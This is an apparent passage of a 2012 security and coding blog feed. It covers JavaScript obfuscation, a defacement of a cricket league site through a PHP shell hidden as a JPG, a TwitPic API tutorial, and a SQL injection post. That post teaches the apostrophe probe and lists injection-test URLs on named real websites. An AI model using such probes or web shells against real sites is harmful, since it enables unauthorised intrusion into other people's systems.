/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; _0xf81fx1 = _0xf81fx1[_0x2815[4]](new RegExp(_0x2815[7] + _0xf81fx5(_0xf81fx3) + _0x2815[7], _0x2815[8]), _0xf81fx4[_0xf81fx3]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; };&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; };&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return _0xf81fx1;&lt;br /&gt;} (_0x2815[0], 6, 6, _0x2815[3][_0x2815[2]](_0x2815[1]), 0, {}));&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
This too is useless code and your code is still protected. This is pretty simple and a good way to protect your javascript code. The trick is to use two obfuscating methods one on top of another. And the end obfuscated code still works.</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/1531965073619921380/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/09/better-javascript-obfuscating-method-to-protect-your-code.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/1531965073619921380'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/1531965073619921380'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/09/better-javascript-obfuscating-method-to-protect-your-code.html' title='Better Javascript Obfuscating Method To Protect Your Code'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6UjxgoSoIMK90UrVwDOXgjplW108OxJ0CcWJ78R9kAwKagPveAERonsnwyagx3SPwCmwKh7WrZwFGFy0kefFczAYmtE3SOgRwvsrZSqRToo_wxlX8CA48iPWCFJgYTpLrGf7IKJk5GXM/s72-c/stock-photo-3500947-computer-code.jpg" height="72" width="72"/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-8752318919211429767</id><published>2012-08-28T00:14:00.001+05:30</published><updated>2012-08-28T00:14:18.537+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="Sri Lanka"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>Sri Lanka Premier  League Website Hacked Again. And How It&#39;s Hacked So Many Times.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFgVH0o1XpKQmG_aNbppXmVcCJ4kqp73iSCHFa9sR07X6cZYouFSQQ4KMRLJu4GjTxtcHGLbR-V9aRVR76gvYmgjgHIuYlpjK_Vr_yc2jeyGj7AtWNFyKTqOh6pgvA_QHF8V-canjh23w/s1600/Screenshot-3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;205&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFgVH0o1XpKQmG_aNbppXmVcCJ4kqp73iSCHFa9sR07X6cZYouFSQQ4KMRLJu4GjTxtcHGLbR-V9aRVR76gvYmgjgHIuYlpjK_Vr_yc2jeyGj7AtWNFyKTqOh6pgvA_QHF8V-canjh23w/s320/Screenshot-3.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Sad but true, the title is correct. Sri Lanka Premier League website (SLPL) is hacked and defaced again. I don&#39;t know the number exactly but the website is hacked over an over an over again. I think we&#39;ve just found out how the website is hacked so many times.&lt;br /&gt;
&lt;br /&gt;
And today I got a Tweet from &lt;a href=&quot;http://twitter.com/gazly&quot; target=&quot;_blank&quot;&gt;Gazly&lt;/a&gt; saying that the &lt;a href=&quot;http://slpl.lk/&quot; target=&quot;_blank&quot;&gt;SLPL&lt;/a&gt; website is hacked again.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;
Again SLPL.LK&lt;a href=&quot;https://twitter.com/search/?q=%23hacked&quot;&gt;&lt;s&gt;#&lt;/s&gt;&lt;b&gt;hacked&lt;/b&gt;&lt;/a&gt; !! bullshit Developers &lt;a href=&quot;https://twitter.com/rukshanr&quot;&gt;&lt;s&gt;@&lt;/s&gt;&lt;b&gt;rukshanr&lt;/b&gt;&lt;/a&gt; did u noticed that i saw a PHP Shell inside of Admin image directry&lt;br /&gt;
— Muhammed Gazzaly (@gazly) &lt;a data-datetime=&quot;2012-08-27T13:59:07+00:00&quot; href=&quot;https://twitter.com/gazly/status/240086041141338112&quot;&gt;August 27, 2012&lt;/a&gt;&lt;/blockquote&gt;
&lt;script charset=&quot;utf-8&quot; src=&quot;//platform.twitter.com/widgets.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
This is an epic fail of the SLPL web admins not protecting enough. When the SLPL website was hacked before I showed how easy it was to hackers to break into the website. That vulnerability was fixed quickly.&lt;br /&gt;
&lt;br /&gt;
But developers and web admins must remember that when a website is hacked the hackers make a back door, they sometimes close the vulnerability that they used to hack and make a new back door. So that when the developers check and fix the vulnerability, the hackers can later hack the website using their newly made back door.&lt;br /&gt;
&lt;br /&gt;
However, &lt;a href=&quot;http://twitter.com/gazly&quot; target=&quot;_blank&quot;&gt;Gazly&lt;/a&gt; showed me the vulnerability that was used to hack the website this time. Apparently the hackers have left a PHP shell file as a jpg file, most probably the hackers who hacked the website before.&lt;br /&gt;
&lt;br /&gt;
Therefore, there should be a backdoor inside the website that makes the JPG file to execute as a PHP file, maybe a back door to run an eval command or a PHP include in the website code that can be used to execute the shell. &lt;b&gt;This must be how the hackers are hacking the SLPL website over and over and over again.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
I called the JPG file using PHP include from my server and the shell is a b374k PHP shell. The screen shot is one that I took after running the shell on my server. The IP addresses are hidden.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSikbFE0lyVFoudDlaqMyccfvwJV9MtJYbd22AYTbQHJoaEDiYRc_JH5a6jcz8OMG2ldmAglf3UCgPxDFhbry94NZuKOyZVE3GdaFgxUjcVywUJYd5Iwa8y5w4B9Ohw9-JSnLBLmsyMHE/s1600/lunapic_13460902488078_6.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSikbFE0lyVFoudDlaqMyccfvwJV9MtJYbd22AYTbQHJoaEDiYRc_JH5a6jcz8OMG2ldmAglf3UCgPxDFhbry94NZuKOyZVE3GdaFgxUjcVywUJYd5Iwa8y5w4B9Ohw9-JSnLBLmsyMHE/s1600/lunapic_13460902488078_6.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;The file still exists on the website and if the developers didn&#39;t remove the PHP shell the hackers can easily hack the website again. &lt;/b&gt;The developers must also check and fix the back door that the hackers use to execute the JPFG shell as a PHP file.&lt;br /&gt;
&lt;br /&gt;
The most interesting fact is with such a good shell I&#39;m curious why the hacker isn&#39;t completely deface the website.&lt;br /&gt;
&lt;br /&gt;
Let&#39;s hope the developers fix the vulnerability and make sure that the SLPL website is not hacked again. &lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;You can find the code of the b374k shell here :&lt;/b&gt; &lt;a href=&quot;http://code.google.com/p/b374k-shell/&quot;&gt;http://code.google.com/p/b374k-shell/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Credits : &lt;/b&gt;Gazly &lt;a href=&quot;http://twitter.com/gazly&quot;&gt;http://twitter.com/gazly&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Previous story about the SLPL website getting hacked : &lt;/b&gt;&lt;a href=&quot;http://techyzilla.blogspot.com/2012/08/sri-lanka-premiere-league-website-gets-hacked.html&quot;&gt;http://techyzilla.blogspot.com/2012/08/sri-lanka-premiere-league-website-gets-hacked.html&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/8752318919211429767/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/08/sri-lanka-premier-league-website-hacked.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/8752318919211429767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/8752318919211429767'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/08/sri-lanka-premier-league-website-hacked.html' title='Sri Lanka Premier  League Website Hacked Again. And How It&#39;s Hacked So Many Times.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFgVH0o1XpKQmG_aNbppXmVcCJ4kqp73iSCHFa9sR07X6cZYouFSQQ4KMRLJu4GjTxtcHGLbR-V9aRVR76gvYmgjgHIuYlpjK_Vr_yc2jeyGj7AtWNFyKTqOh6pgvA_QHF8V-canjh23w/s72-c/Screenshot-3.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-1165631058197790095</id><published>2012-08-18T10:48:00.000+05:30</published><updated>2012-08-19T05:14:22.387+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Coding"/><category scheme="http://www.blogger.com/atom/ns#" term="OAuth"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><category scheme="http://www.blogger.com/atom/ns#" term="Twitter"/><title type='text'>Posting Images To TwitPic And Twitter Using TwitPic API And OAuth Echo.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibsDhvTR-DQI9fERV1-zwTi1P-mgWvS31fx4EeACzz6WKSKRvsA-SYPrcsrDPkgp8_3GSrrBAxkTnYVMn_Dc_0_tVw_KI-kKDzjKcQ4qFsV1hzC6MuOjfNcJfHoLmYXSVgGlZT8eYTIjQ/s1600/twitter-bird-white-on-blue.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibsDhvTR-DQI9fERV1-zwTi1P-mgWvS31fx4EeACzz6WKSKRvsA-SYPrcsrDPkgp8_3GSrrBAxkTnYVMn_Dc_0_tVw_KI-kKDzjKcQ4qFsV1hzC6MuOjfNcJfHoLmYXSVgGlZT8eYTIjQ/s1600/twitter-bird-white-on-blue.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;For the past few days I was busy playing with the Twitter API trying to make my own client. And tell you the truth It&#39;s not that difficult to make a Twitter App.&lt;br /&gt;
&lt;br /&gt;
The steps are very simple.&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Register an App on Twitter, get the Consumer Key and the Consumer Secret that they give you.&lt;/li&gt;
&lt;li&gt;Get the &lt;a href=&quot;https://github.com/abraham/twitteroauth&quot; target=&quot;_blank&quot;&gt;Abraham&#39;s Twitter OAuth Library&lt;/a&gt;. It&#39;s simple to use and suggested by Twitter. If you are using PHP.&lt;/li&gt;
&lt;li&gt;Upload it to server change the settings of the OAuth library, and you are pretty much done.&lt;/li&gt;
&lt;li&gt;And now using the OAuth library you can do all the &lt;a href=&quot;https://dev.twitter.com/docs/api&quot; target=&quot;_blank&quot;&gt;API calls&lt;/a&gt;. The hardest part is using the JSON response generating the Timeline etc. Everything else is pretty simple. &lt;/li&gt;
&lt;/ol&gt;If you are posting picture it&#39;s little bit different, but &lt;a href=&quot;https://github.com/robhaswell&quot; target=&quot;_blank&quot;&gt;Robhaswell has improvd the Abraham&#39;s Twitter OAuth Library&lt;/a&gt; so you can upload pictures to Twitter easily. You can get it here : &lt;a href=&quot;https://github.com/robhaswell/twitteroauth&quot; target=&quot;_blank&quot;&gt;https://github.com/robhaswell/twitteroauth&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
The thing that took time to figure out is that you need to first upload the file into the server an then make the post request to Twitter. The temporary name of the file uploaded to the server would do.&lt;span style=&quot;color: #274e13; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt; $_FILES[&quot;file&quot;][&quot;tempname&quot;]&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Having done that it&#39;s easy to post pictures to Twitter, but what I&#39;ve then tried is posting pictures to &lt;a href=&quot;http://twitpic.com/&quot;&gt;TwitPic&lt;/a&gt; and then posting that picture to Twitter. It&#39;s actually a 2 different things, if you post a picture to Twitpic it will not appear on Twitter. You have to post the picture to Twitter by yourself using the response you get from TwiPic after successfully posting the image to TwitPic. For that all you need is the URL(picture) of the &lt;a href=&quot;http://twitpic.com/&quot; target=&quot;_blank&quot;&gt;TwitPic&lt;/a&gt; image and the text you send to TwitPic (tweet). A Tweet with a twitpic url and a Tweet successfully displays the picture on Twitter. We don&#39;t have to worry about that.&lt;br /&gt;
&lt;br /&gt;
TwitPic API is simple and it&#39;s not hard to understand. However it&#39;s not easy to post a picture to TwitPic because of the thing called &lt;b&gt;OAuth Echo&lt;/b&gt; &lt;a href=&quot;https://dev.twitter.com/docs/auth/oauth/oauth-echo&quot;&gt;https://dev.twitter.com/docs/auth/oauth/oauth-echo&lt;/a&gt;. Thanks to OAuth Echo it&#39;s hard to post the picture to TwitPic.&lt;br /&gt;
&lt;br /&gt;
Although Abraham&#39;s Twitter OAuth Library is the easiest OAuth library to use there is no example of how to combine OAuth Library and TwitPic API and make a OAuth Echo request.&lt;br /&gt;
&lt;br /&gt;
There are so many people having trouble using this, you can &lt;a href=&quot;https://www.google.com/search?q=twitpic+401&quot;&gt;Google Twitpic 401 &lt;/a&gt;and you&#39;ll see how many people are having trouble with this. So having said that I&#39;ve made a simple to understand easy to use code that you can make a OAuth Echo call and post pictures to TwitPic.&lt;br /&gt;
&lt;br /&gt;
You can find the code here on GitHub : &lt;a href=&quot;https://gist.github.com/3384465&quot;&gt;https://gist.github.com/3384465&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
I&#39;m not talking about OAuth Echo, you can read the about it from Twitter from the above link, basically OAuth Echo is,&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;span style=&quot;color: #073763;&quot;&gt;OAuth Echo is a means to securely delegate OAuth authorization with a third party while interacting with an API.&amp;nbsp; &lt;/span&gt;&lt;/blockquote&gt;When you are using the code there are only 3 things you need to change. They are the parameters that you change when posting a picture to TwitPic. It&#39;s as simple as that. The code will handle everything about OAuth Echo and Twitter requests.&lt;br /&gt;
&lt;br /&gt;
Remember, this code works for &lt;a href=&quot;https://github.com/abraham/twitteroauth&quot; target=&quot;_blank&quot;&gt;Abraham&#39;s Twitter OAuth Library&lt;/a&gt; or &lt;a href=&quot;https://github.com/robhaswell/twitteroauth&quot; target=&quot;_blank&quot;&gt;Robhaswell&#39;s Twitter OAuth&lt;/a&gt; Libraries only (The commonly used PHP OAuth Libraries). But you can modify the code above &lt;span style=&quot;color: #666666; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;//Twitpic magic begins here&lt;/span&gt; line to work with a custom OAuth Library.&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;color: #274e13; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Get a API key from TwitPic after registering an app and put it here&lt;/span&gt;&lt;/span&gt; $args[&#39;key&#39;] = &#39;xxxxxx&#39;;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #274e13; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Put the message you want to Tweet here : &lt;span style=&quot;color: #274e13; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$args[&#39;message&#39;] = &quot;testing twitpic from api&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #274e13; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt; &lt;/span&gt;&lt;/span&gt;replace &quot;testing TwitPic API&quot; with a custom message.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #274e13; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Replace&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; $args[&#39;media&#39;] = &quot;@imge.png&quot; ;&lt;/span&gt; &lt;span style=&quot;font-family: inherit;&quot;&gt;with the image you want to post. Make sure you use &lt;span style=&quot;color: #274e13; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$_Files[&quot;file&quot;][&quot;tempname&quot;]&lt;/span&gt; or the &lt;/span&gt;path of the file name after uploading.&lt;/li&gt;
&lt;/ul&gt;Most people get the 401 - &quot;Could not authenticate you (header rejected by twitter).&quot; error because of the error of the header being sent to Twitter, this is mostly because of an error in the OAuth signature being sent to TwitPic.&lt;br /&gt;
&lt;br /&gt;
You can read more info about generating the OAuth Signature here, it helped me to generate the correct signature from my code. : &lt;a href=&quot;https://dev.twitter.com/docs/auth/creating-signature&quot;&gt;https://dev.twitter.com/docs/auth/creating-signature &lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
In the code I&#39;m giving there is no need to worry about this signature, it&#39;s all being taken care of. The only thing that need to be changed are the parameter I&#39;ve given above.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;The code that I&#39;m giving however will not post the image to Twitter, after posting you will get a response from TwitPic with some JSON parameters. You need to use the JASON parameters to make a POST request to Twitter using out OAuth library.&lt;br /&gt;
&lt;br /&gt;
Replacing the code below&amp;nbsp; &lt;span style=&quot;color: #274e13; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;//Twitpic json respone&lt;/span&gt; with the following code will post the image to Twitter.&lt;br /&gt;
&lt;div style=&quot;color: #274e13; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;br /&gt;
$json_out = json_decode($response,true);&lt;br /&gt;
$msgt = $json_out[&quot;url&quot;];&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
$msgpic = $json_out[&quot;text&quot;];&lt;br /&gt;
$combinemsg = $imessage . &quot; &quot; . $msgt;&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;span style=&quot;color: #274e13; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&lt;span style=&quot;color: #660000;&quot;&gt;//Sending a post request to Twitter.&amp;nbsp; &amp;nbsp;&lt;/span&gt;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$connection-&amp;gt;post(&#39;statuses/update&#39;, array(&#39;status&#39; =&amp;gt; &quot;$combinemsg&quot;));&lt;/span&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
I&#39;ll be adding more noted an update to the code. You can find the code here : &lt;a href=&quot;https://gist.github.com/3384465&quot; target=&quot;_blank&quot;&gt;https://gist.github.com/3384465&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/1165631058197790095/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/08/posting-images-to-twitpic-and-twitter-using-oauth-echo.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/1165631058197790095'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/1165631058197790095'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/08/posting-images-to-twitpic-and-twitter-using-oauth-echo.html' title='Posting Images To TwitPic And Twitter Using TwitPic API And OAuth Echo.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibsDhvTR-DQI9fERV1-zwTi1P-mgWvS31fx4EeACzz6WKSKRvsA-SYPrcsrDPkgp8_3GSrrBAxkTnYVMn_Dc_0_tVw_KI-kKDzjKcQ4qFsV1hzC6MuOjfNcJfHoLmYXSVgGlZT8eYTIjQ/s72-c/twitter-bird-white-on-blue.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-4055159698438921788</id><published>2012-08-12T18:27:00.001+05:30</published><updated>2012-08-12T18:34:07.221+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><category scheme="http://www.blogger.com/atom/ns#" term="Vulnerabilities"/><title type='text'>The Collateral Nature of A Bug.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcZ5MmGi-zqlzMQHXUG9FZPA833N_UMRHjOy9UMZ9_c-PgkqPXxondPW5_3N0LkM1oW6y77JlE1enETPPEFL_9wLBSElvFuwNTlcy2RgmHUtRoL48i3wjcl_WnXzgVEuroGs-UmtXUw0E/s1600/738-computer_article.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;212&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcZ5MmGi-zqlzMQHXUG9FZPA833N_UMRHjOy9UMZ9_c-PgkqPXxondPW5_3N0LkM1oW6y77JlE1enETPPEFL_9wLBSElvFuwNTlcy2RgmHUtRoL48i3wjcl_WnXzgVEuroGs-UmtXUw0E/s320/738-computer_article.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Recently I got a chance to report a vulnerability to popular web developer &lt;a href=&quot;http://weblook.com/&quot; target=&quot;_blank&quot;&gt;WebLook&lt;/a&gt;. I&#39;ve found that most of the websites had a SQL injection vulnerability.&lt;br /&gt;
&lt;br /&gt;
But I never reported to them until I&amp;nbsp; found that a classmate of mine is a designer at WebLook. He said he will pass it to the developers at WebLook so they will be able to fix it soon. &lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #073763; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;A SQL injection attack consists of insertion or &quot;injection&quot; of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system.&lt;/span&gt;&lt;span style=&quot;color: #073763;&quot;&gt;&amp;nbsp; &lt;/span&gt;( &lt;a href=&quot;https://www.owasp.org/index.php/SQL_Injection&quot;&gt;https://www.owasp.org/index.php/SQL_Injection&lt;/a&gt; )&lt;br /&gt;
&lt;br /&gt;
You can find if there is a SQL injection vulnerability by adding a &lt;b&gt;&#39;&lt;/b&gt; at the end of the URL. If it gives an error message regarding SQL there is a chance that the website is SQL injectable.&lt;br /&gt;
&lt;br /&gt;
Even if there is no error message the website might be vulnerable to SQL injection, even there is a error message it might not be vulnerable to SQL injection. But there is a high chance that the website is vulnerable to SQL injection if there is such an error message.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Some of the vulnerabilities of WebLook :&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.wa.lk/automobile/product_display.php?id=13%27&quot;&gt;http://www.wa.lk/automobile/product_display.php?id=13%27&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.unhcr.lk/video-stream.php?id=26%27&quot;&gt;http://www.unhcr.lk/video-stream.php?id=26%27&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The thing I want to emphasize is that when there is such a vulnerability in a website, there is a &lt;b&gt;high chance&lt;/b&gt; that most of the websites developed by the same web developerhas the same vulnerability. It&#39;s similar to a user using the same password for all of their accounts. And unfortunately websites developed by Web Look were vulnerable. &lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.theatlanticwire.com/technology/2011/09/lulzsecs-sony-hack-really-was-simple-it-claimed/42851/&quot; target=&quot;_blank&quot;&gt;We saw this in action when Sony got hacked&lt;/a&gt; due to an SQL injection, different Sony websites were hacked within a short period of time and mostly by SQL injection.&lt;br /&gt;
&lt;br /&gt;
I also posted a similar situation when the &lt;a href=&quot;http://techyzilla.blogspot.com/2012/07/fitch-rating-sri-lanka-website-hacked.html&quot; target=&quot;&quot;&gt;Fitch Rating Lanka website was&lt;/a&gt; hacked because of a SQL injection. The website was developed by &lt;a href=&quot;http://entersys.lk/&quot; target=&quot;_blank&quot;&gt;EnterSys&lt;/a&gt; and almost all the websites were vulnerable to SQL injection.&lt;br /&gt;
&lt;br /&gt;
So developers need to check their code for such vulnerabilities in a website or a program. If they find a vulnerability it&#39;s a good thing to check all of there projects. Because there is a likely chance that other projects having the same vulnerability.</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/4055159698438921788/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/08/the-collateral-nature-of-a-bug.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/4055159698438921788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/4055159698438921788'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/08/the-collateral-nature-of-a-bug.html' title='The Collateral Nature of A Bug.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcZ5MmGi-zqlzMQHXUG9FZPA833N_UMRHjOy9UMZ9_c-PgkqPXxondPW5_3N0LkM1oW6y77JlE1enETPPEFL_9wLBSElvFuwNTlcy2RgmHUtRoL48i3wjcl_WnXzgVEuroGs-UmtXUw0E/s72-c/738-computer_article.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-8433041681998589583</id><published>2012-08-10T23:53:00.001+05:30</published><updated>2012-08-11T09:07:36.815+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="Sri Lanka"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>Sri Lanka Premiere League Website Gets Hacked During The Game&#39;s Openning Ceromony.</title><content type='html'>The &lt;a href=&quot;http://slpl.lk/&quot; target=&quot;_blank&quot;&gt;SLPL&lt;/a&gt; (Sri Lanka Premiere League) started today, and even before the opening ceremony of the&amp;nbsp; games ended the website was hacked and defaced by Indian hackers.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
